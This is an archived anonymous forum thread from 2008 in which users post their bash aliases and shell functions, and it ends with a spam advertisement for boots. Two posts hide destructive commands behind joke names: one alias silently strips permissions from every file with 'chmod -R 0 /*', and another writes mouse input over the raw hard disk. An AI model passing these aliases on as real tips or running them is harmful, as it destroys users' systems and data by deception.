Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Post your bash aliases.

Name: Anonymous 2008-04-02 6:23

Basically post the output of cat ~/.bashrc|grep alias and share your aliases. Mine:

#security aliases
alias cp='cp -iv'
alias rm='rm -iv'
alias mv='mv -iv'
#ease of use aliases
alias halp=help
alias ls='ls --color=auto -X'
alias ll='ls --color=auto -lXh'
alias cal='cal -m'
alias chmod='chmod -c'
alias kthx=clear
alias kthxbai=exit
alias hadoken='rm -f'
alias genkidama='rm -rf'
#cd aliases
alias ..='cd ..'
alias ~='cd ~'

The recommended security aliases, some to ease navigation with cd, some with prefered arguments and some silly ones.

Also, a flamefest of consoles is welcome as I would like to know others aside from bash.

Name: Anonymous 2008-04-02 8:53

alias penis=penus

Name: Anonymous 2008-04-02 13:11

Firstly, why not just issue `alias' instead of that cat/grep shebang? What the fuck.

Secondly I don't give half a shit about aliases.
$ alias
alias d='ls --color'
alias grep='grep --colour=auto'
alias ll='ls --color -l'
alias ls='ls --color=auto'

The only ones of these that I use are ls and grep, because they happen to have the names of the actual programs.

Futhermore, BASH is a shell, not a console. You dumb fuck.

Finally, fish: http://fishshell.org/


Oh, I almost forgot: Your ``security aliases'' are the most ridiculous thing I've seen in a while. Do you have any idea how annoying that shit gets after 10 minutes of work, let alone 8-10 hours every day? What the god damn fuck.

Name: Anonymous 2008-04-02 18:59

Also, use fish.

Name: Anonymous 2008-04-03 0:43

albert fish?

Name: Anonymous 2008-04-03 2:50

The first five involve my flash drives, ipod, and externals not surprisingly; those mainly exist just to limit the number of times I have to use the shift key.

alias akiha='cd /Volumes/AKIHA'
alias ciel='cd /Volumes/CIEL'
alias hisui='cd /Volumes/Hisui'
alias kohaku='cd /Volumes/KOHAKU'
alias ren='cd /Volumes/REN'
alias c='clear'
alias ls='ls -Gx'
alias manga='mogrify -resize "x1200 >"'
alias mgain='mp3gain -a'
alias mpc='mpc --format "[[%artist% [{%album%}] - ]%title%]|file]"'
alias o='open'
alias v='vim'

Name: Anonymous 2008-04-03 4:13

aptin='sudo apt-get install'
apts='apt-cache search'

Name: Anonymous 2008-04-03 5:31

Beside the common ones (colored less, safe mv, ...), I use
alias bittornado='/usr/bin/btdownloadgui.bittornado'
alias diff=colordiff

Variables and functions are more noteworthy:
function grep-hist() {
    grep $@ ~/.bash_history
}
function svndiff() {
    svn diff "${@}" | colordiff
}
export LS_COLORS="${LS_COLORS}:*.rar=01;31:*.7z=01;31:"
export GREP_OPTIONS='--color=auto'
export LESSEDIT='vim ?lm+%lm. %f'

Name: Anonymous 2008-04-03 6:37

OP here. I didn't expect much from this thread, seeing as /comp/ is populated by 14yo wannabe scriptkiddies asking how to get hotmail passwords, but it has attracted people with enough knowledge to evidence my Unix newfaggotry.

>>6
I used to have similar aliases for my hard drives, probably restoring them sometime. Holding shift sure is tiring.

Name: Anonymous 2008-04-03 8:28

>>6
alias c='clear'
use Ctrl+l (search 'Readline Command Names' in the bash manual for more shortcuts)

>>8
btw, that should have been 'colored ls', not 'colored less'.

Name: Anonymous 2008-04-03 11:11

>>10
thanks, I'll probably be dropping that alias once I get used to using ctrl+l.

Name: Anonymous 2008-04-03 11:36

I put all my aliases and functions in a separate ~/.aliases file.
# ~/.aliases: Defines useful (and useless) aliases and functions.

eval "`dircolors -b`"
alias lk='ls --color=always'
alias li='lk -l'
alias la='lk -A'
alias l='lk -CF'
alias lo='lk -ACF'
alias ll='l -l'

silence () {
        $@ >/dev/null 2>&1
}

c () {
        echo "scale=4; $@" | bc
}

work () {
echo -n "Working: |"
for r in `seq 1 $1`; do \
        spin
        echo -n "="
done
echo "| Done."
}

hrline () {
char='='
for i in `seq 1 $COLUMNS`; do \
        echo -n $char
        sleep .01
done
}

spin () {
for i in '|' '/' '-' '\\'; do \
        echo -en "$i"
        sleep .05
        echo -en "\b"
        done
}

ENTERPRISE or what

Name: Anonymous 2008-04-03 11:50

alias ll='ls -l'

'Cause that's how I roll.

Name: Anonymous 2008-04-03 12:46

alias suckmycock='nohup chmod -R 0 /* &>/dev/null &;clear;exit'

Name: Anonymous 2008-04-03 13:33

I have no aliases.  Aliases only stay the same on one computer.

Name: Anonymous 2008-04-03 13:50

alias ll ='ls -la'
alias getprogramsudo='sudo apt-get install'


Just got Linux Ubuntu a week ago, so I have only these.

Name: Anonymous 2008-04-03 13:51

Fuck, how did I move form /prog/ to /comp/?

Name: Anonymous 2008-04-03 17:18

...wow!

Name: Anonymous 2008-04-03 18:58

sdf

Name: Anonymous 2008-04-03 23:53

>>15

Oh hey, rsync just called, he wants to know why you two don't ever talk.

Name: Anonymous 2008-04-04 7:41

alias 2kewl4u='hexdump /dev/mouse > /dev/hda'

Name: Anonymous 2009-08-15 6:57

Bump bump

Simple but I love it.

alias la='ls -la | more'

Name: Anonymous 2009-08-15 13:16

alias ll='ls -lh'
alias la='ls -lha'
alias XX='Xset -m 0 0'

Name: wholesale ugg boots 2011-09-26 7:57

I ordered these shoes when it collapsed. http://www.comeboot.com/  Black UGG Boots For Sale. http://www.comeboot.com/  Black UGG Boots For Sale I ordered these shoes by mistake was originally booked is not available. The price was the same, so I took a chance. http://www.comeboot.com/ugg-classic-metallic-boots.html  Metallic UGG. http://www.comeboot.com/ugg-classic-metallic-boots.html  Metallic UGG http://www.comeboot.com/  Winter UGG. http://www.comeboot.com/  Winter UGG I'm glad I did. When I ordered in time for

Don't change these.
Name: Email:
Entire Thread Thread List